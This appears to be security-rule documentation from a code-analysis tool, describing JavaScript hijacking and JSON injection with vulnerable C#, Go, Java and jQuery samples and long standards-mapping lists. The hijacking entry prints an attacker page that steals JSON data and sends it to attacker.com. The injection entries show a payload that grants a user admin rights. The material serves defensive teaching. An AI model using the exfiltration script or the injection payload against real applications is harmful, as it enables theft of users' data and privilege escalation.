The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);


When the code runs, it generates an HTTP request which appears as the following:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)
The server responds with an array in JSON format:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]


In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework

JSON Injection

Abstract
The method writes unvalidated input into JSON. This call might allow an attacker to inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following C# code uses JSON.NET to serialize user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") from user-controlled input variables username and password to the JSON file located at C:\user_info.json:


...

StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);

using (JsonWriter writer = new JsonTextWriter(sw))
{
  writer.Formatting = Formatting.Indented;

  writer.WriteStartObject();

    writer.WritePropertyName("role");
    writer.WriteRawValue("\"default\"");

    writer.WritePropertyName("username");
    writer.WriteRawValue("\"" + username + "\"");

    writer.WritePropertyName("password");
    writer.WriteRawValue("\"" + password + "\"");

  writer.WriteEndObject();
}

File.WriteAllText(@"C:\user_info.json", sb.ToString());


Yet, because the JSON serialization is performed using JsonWriter.WriteRawValue(), the untrusted data in username and password will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it at the prompt that sets the value of the username variable, the resulting JSON saved to C:\user_info.json would be:


{
  "role":"default",
  "username":"mallory",
  "role":"admin",
  "password":"Evil123!"
}


If this serialized JSON file were then deserialized to a Dictionary object with JsonConvert.DeserializeObject() as so:


String jsonString = File.ReadAllText(@"C:\user_info.json");

Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);


The resulting values for the username, password, and role keys in the Dictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.json_injection
Abstract
The method writes unvalidated input to JSON. An attacker can inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and might contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can transmit sensitive information such as authentication credentials.

Attackers can alter the semantics of JSON documents and messages if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker can insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In more serious cases, such as those that involves JSON injection, an attacker can insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. Sometimes JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following code serializes user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") from user-controlled input variables username and password to the JSON file located at ~/user_info.json:


    ...
    func someHandler(w http.ResponseWriter, r *http.Request){
        r.parseForm()
        username := r.FormValue("username")
        password := r.FormValue("password")
        ...
        jsonString := `{
        "username":"` + username + `",
        "role":"default"
        "password":"` + password + `",
        }`
        ...
        f, err := os.Create("~/user_info.json")
        defer f.Close()

        jsonEncoder := json.NewEncoder(f)
        jsonEncoder.Encode(jsonString)
    }


Because the code performs the JSON serialization using string concatenation, the untrusted data in username and password is not validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, which can possibly change the serialized JSON structure. In this example, if the non-privileged user mallory with password Evil123! appended ","role":"admin when she entered her username, the resulting JSON saved to ~/user_info.json would be:


    {
    "username":"mallory",
    "role":"default",
    "password":"Evil123!",
    "role":"admin"
    }

Without further verification that the deserialized JSON values are valid, the application unintentionally assigns user mallory "admin" privileges.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.json_injection
Abstract
The method writes unvalidated input into JSON. This call might allow an attacker to inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following Java code uses Jackson to serialize user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") from user-controlled input variables username and password to the JSON file located at ~/user_info.json:


...

JsonFactory jfactory = new JsonFactory();

JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);

jGenerator.writeStartObject();

jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");

jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");

jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");

jGenerator.writeEndObject();

jGenerator.close();


Yet, because the JSON serialization is performed using JsonGenerator.writeRawValue(), the untrusted data in username and password will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it at the prompt that sets the value of the username variable, the resulting JSON saved to ~/user_info.json would be:


{
  "username":"mallory",
  "role":"admin",
  "password":"Evil123!",
  "role":"default"
}


If this serialized JSON file were then deserialized to an HashMap object with Jackson's JsonParser as so:


JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));

while (jParser.nextToken() != JsonToken.END_OBJECT) {

  String fieldname = jParser.getCurrentName();

  if ("username".equals(fieldname)) {
    jParser.nextToken();
    userInfo.put(fieldname, jParser.getText());
  }

  if ("password".equals(fieldname)) {
    jParser.nextToken();
    userInfo.put(fieldname, jParser.getText());
  }

  if ("role".equals(fieldname)) {
    jParser.nextToken();
    userInfo.put(fieldname, jParser.getText());
  }

  if (userInfo.size() == 3)
    break;
}

jParser.close();


The resulting values for the username, password, and role keys in the HashMap object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.json_injection
Abstract
The method writes unvalidated input into JSON. This call might allow an attacker to inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following JavaScript code uses jQuery to parse JSON where a value comes from a URL:


var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
  name =  decodeURIComponent(str.substring((url_check+5), str.length));
}

$(document).ready(function(){
  if (name !== null){
    var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
    ...
  }
  ...
});


Here the untrusted data in name will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory were to append ","role":"admin to the name parameter in the URL, the JSON would become:


{
  "role":"user",
  "username":"mallory",
  "role":"admin"
}


This is parsed by jQuery.parseJSON() and set to a plain object, meaning that obj.role would now return "admin" instead of "user"
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
